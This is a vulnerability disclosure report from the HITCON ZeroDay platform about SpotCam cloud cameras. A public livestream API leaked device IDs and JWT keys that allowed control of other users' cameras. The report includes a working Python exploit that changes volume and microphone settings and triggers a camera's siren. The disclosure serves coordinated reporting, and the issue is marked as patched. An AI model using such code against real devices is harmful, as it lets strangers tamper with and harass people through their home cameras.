SpotCam 公司之雲端攝影機敏感資訊洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00204
  •  發信 Vendor: 視博網訊股份有限公司
  • Title: SpotCam 公司之雲端攝影機敏感資訊洩漏
  • Introduction: 任意設定已公開觀看的設備

處理狀態

目前狀態

公開
Last Update : 2023/07/25
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2023/05/18 09:48:41 : 新提交 (由 Wayne 更新此狀態)
  • 2023/05/29 09:53:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/05/29 21:04:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/05/29 21:04:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/06/06 03:10:44 : 修補中 (由 組織帳號 更新此狀態)
  • 2023/07/17 20:22:56 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2023/07/24 16:28:23 : 確認已修補 (由 Wayne 更新此狀態)
  • 2023/07/25 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00204
  • 通報者:waynelpu (Wayne)
  • 風險:嚴重
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.myspotcam.com/tc/onair/onair_search_result_json/?page=1&page_num=5&keyword=

敘述

在官網上現正直播中的API
https://www.myspotcam.com/tc/onair/onair_search_result_json/?page=1&page_num=5&keyword=

可以拿到目前公開給別人看的攝影機設定,其中的 sn/uid/cid 以及圖片連結參數的key (JWT Token),可以直接進行操作攝影機的相關設定

Exploit

import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-s", "--sn", help="Device Serial Number", required=True)
parser.add_argument("-u", "--uid", help="User ID", required=True)
parser.add_argument("-c", "--cid", help="Cloud ID", required=True)
parser.add_argument("-k", "--key", help="JWT Key", required=True)
args = parser.parse_args()

# 警報音量設置成5
res = requests.post(f'https://www.myspotcam.com/camera_status/communication_mobile_json/{args.cid}/volume/5?uid={args.uid}')
print(res.text)
# 攝影機麥克風設置成5
res = requests.post(f'https://www.myspotcam.com/camera_status/communication_mobile_json/{args.cid}/audio_mic_vl/5?uid={args.uid}')
print(res.text)
# 傳送警報
res = requests.post(f'https://tw-vs17-ni1jahru.myspotcam.com:2686/v1/monostable/{args.uid}/{args.sn}/siren', json={
    'level': True,
    'sustain': 0,
}, params={'key':args.key})
print(res.text)

修補建議

請避免直接相關參數以及金鑰

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;